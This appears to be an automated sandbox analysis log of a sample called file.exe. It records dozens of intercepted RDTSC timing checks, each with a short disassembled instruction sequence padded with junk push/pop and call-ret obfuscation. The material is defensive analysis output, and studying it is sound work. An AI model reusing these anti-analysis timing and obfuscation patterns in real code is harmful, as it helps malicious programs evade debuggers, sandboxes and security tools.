Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682468 second address: 682472 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6825AC second address: 6825B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6825B0 second address: 6825D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FF8A11EFEDEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6852F4 second address: 685306 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A0DA4808h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685306 second address: 68530B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685890 second address: 6858A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4814h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685EF8 second address: 685EFE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685EFE second address: 685F17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d add dword ptr [ebp+1245FEABh], ebx 0x00000013 push eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68612E second address: 686133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6862BD second address: 6862C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6862C1 second address: 6862D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jns 00007FF8A11EFEDCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6868DF second address: 6868E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6868E4 second address: 6868E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688F52 second address: 688F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AFED second address: 68B07A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11EFEE3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FF8A11EFEE3h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FF8A11EFED8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c js 00007FF8A11EFEDCh 0x00000032 mov dword ptr [ebp+12482D06h], ebx 0x00000038 adc si, ECE5h 0x0000003d push 00000000h 0x0000003f jmp 00007FF8A11EFEE5h 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FF8A11EFEE5h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD73 second address: 68AD93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FF8A0DA480Ch 0x00000012 jp 00007FF8A0DA4806h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68BB94 second address: 68BB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C372 second address: 68C378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640F87 second address: 640F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640F8B second address: 640F91 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640F91 second address: 640FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FF8A11EFED6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640FA0 second address: 640FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF8A0DA4806h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640FAB second address: 640FC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640FC3 second address: 640FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640FC7 second address: 641008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF8A11EFEE5h 0x00000010 jmp 00007FF8A11EFEE6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691A91 second address: 691ADE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF8A0DA480Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b and edi, dword ptr [ebp+122D37EDh] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FF8A0DA4808h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push eax 0x0000002e sub edi, dword ptr [ebp+122D395Dh] 0x00000034 pop ebx 0x00000035 push 00000000h 0x00000037 mov di, 7A04h 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691ADE second address: 691AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691AE7 second address: 691AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692B7F second address: 692B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A11EFEE1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691BDC second address: 691BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692B97 second address: 692B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692CE1 second address: 692CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA480Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6939A7 second address: 693A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FF8A11EFEDBh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FF8A11EFED8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b clc 0x0000002c sub dword ptr [ebp+122D2D30h], edx 0x00000032 push 00000000h 0x00000034 call 00007FF8A11EFEDFh 0x00000039 mov dword ptr [ebp+122D5903h], esi 0x0000003f pop ebx 0x00000040 push eax 0x00000041 pushad 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692CF2 second address: 692D04 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A0DA4806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692D04 second address: 692D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694913 second address: 694918 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69590C second address: 695917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695917 second address: 69591B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69591B second address: 69591F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69591F second address: 695928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695928 second address: 695997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FF8A11EFED8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov ebx, ecx 0x00000023 push 00000000h 0x00000025 sub bh, 00000074h 0x00000028 cld 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007FF8A11EFED8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000015h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 mov edi, 6F5968BDh 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FF8A11EFEE6h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695997 second address: 69599D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696B42 second address: 696B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697C03 second address: 697C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698A5E second address: 698A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698A62 second address: 698AC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c stc 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FF8A0DA4808h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 add edi, dword ptr [ebp+122D2A31h] 0x0000002f call 00007FF8A0DA480Ah 0x00000034 mov dword ptr [ebp+122D37EDh], eax 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D2B75h] 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 pushad 0x00000046 jnp 00007FF8A0DA4806h 0x0000004c jbe 00007FF8A0DA4806h 0x00000052 popad 0x00000053 pop eax 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698AC9 second address: 698AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEE5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AAE8 second address: 69AAEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698C5B second address: 698C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF8A11EFED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697DC3 second address: 697DD1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699BE2 second address: 699BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698C65 second address: 698C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697DD1 second address: 697DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BA82 second address: 69BA88 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BA88 second address: 69BA8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D9FC second address: 69DA88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF8A0DA480Ah 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FF8A0DA4808h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+1245B9B7h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FF8A0DA4808h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c push edx 0x0000004d jmp 00007FF8A0DA4813h 0x00000052 pop ebx 0x00000053 push 00000000h 0x00000055 mov dword ptr [ebp+122D3831h], edi 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f pushad 0x00000060 popad 0x00000061 pushad 0x00000062 popad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CBAE second address: 69CC62 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FF8A11EFEE3h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FF8A11EFED8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jmp 00007FF8A11EFEE3h 0x00000030 push dword ptr fs:[00000000h] 0x00000037 or di, 4543h 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 jmp 00007FF8A11EFEDDh 0x00000048 mov eax, dword ptr [ebp+122D001Dh] 0x0000004e push 00000000h 0x00000050 push esi 0x00000051 call 00007FF8A11EFED8h 0x00000056 pop esi 0x00000057 mov dword ptr [esp+04h], esi 0x0000005b add dword ptr [esp+04h], 00000017h 0x00000063 inc esi 0x00000064 push esi 0x00000065 ret 0x00000066 pop esi 0x00000067 ret 0x00000068 add ebx, 6F4DE8CBh 0x0000006e push FFFFFFFFh 0x00000070 jnp 00007FF8A11EFEDCh 0x00000076 mov ebx, ecx 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CC62 second address: 69CC76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4810h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DA88 second address: 69DA92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FF8A11EFED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CC76 second address: 69CC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF8A0DA4806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CC80 second address: 69CCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007FF8A11EFEFBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF8A11EFEE0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E9EC second address: 69E9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E9F0 second address: 69EA6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FF8A11EFED8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov bx, di 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FF8A11EFED8h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov edi, 5FE92784h 0x0000004a jnl 00007FF8A11EFED9h 0x00000050 push 00000000h 0x00000052 xor dword ptr [ebp+122D3952h], edi 0x00000058 push eax 0x00000059 pushad 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DCE2 second address: 69DCEC instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A0DA4806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EA6A second address: 69EA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FF8A11EFED6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DCEC second address: 69DCF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0A93 second address: 6A0AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEE7h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6444A8 second address: 6444B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FF8A0DA480Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE179 second address: 6AE17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5C8D second address: 6B5CAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Eh 0x00000007 jmp 00007FF8A0DA4810h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B614E second address: 6B618D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE4h 0x00000007 jmp 00007FF8A11EFEDDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 jg 00007FF8A11EFED8h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF8A11EFEDEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6434 second address: 6B6441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FF8A0DA4806h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6441 second address: 6B6445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6445 second address: 6B6450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683E49 second address: 683E5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FF8A11EFED6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683E5B second address: 683E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684500 second address: 684506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684506 second address: 68450A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68450A second address: 684538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FF8A11EFEDCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684594 second address: 6845AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], esi 0x00000008 jno 00007FF8A0DA4808h 0x0000000e nop 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6845AA second address: 6845C7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FF8A11EFEDCh 0x00000010 jc 00007FF8A11EFED6h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
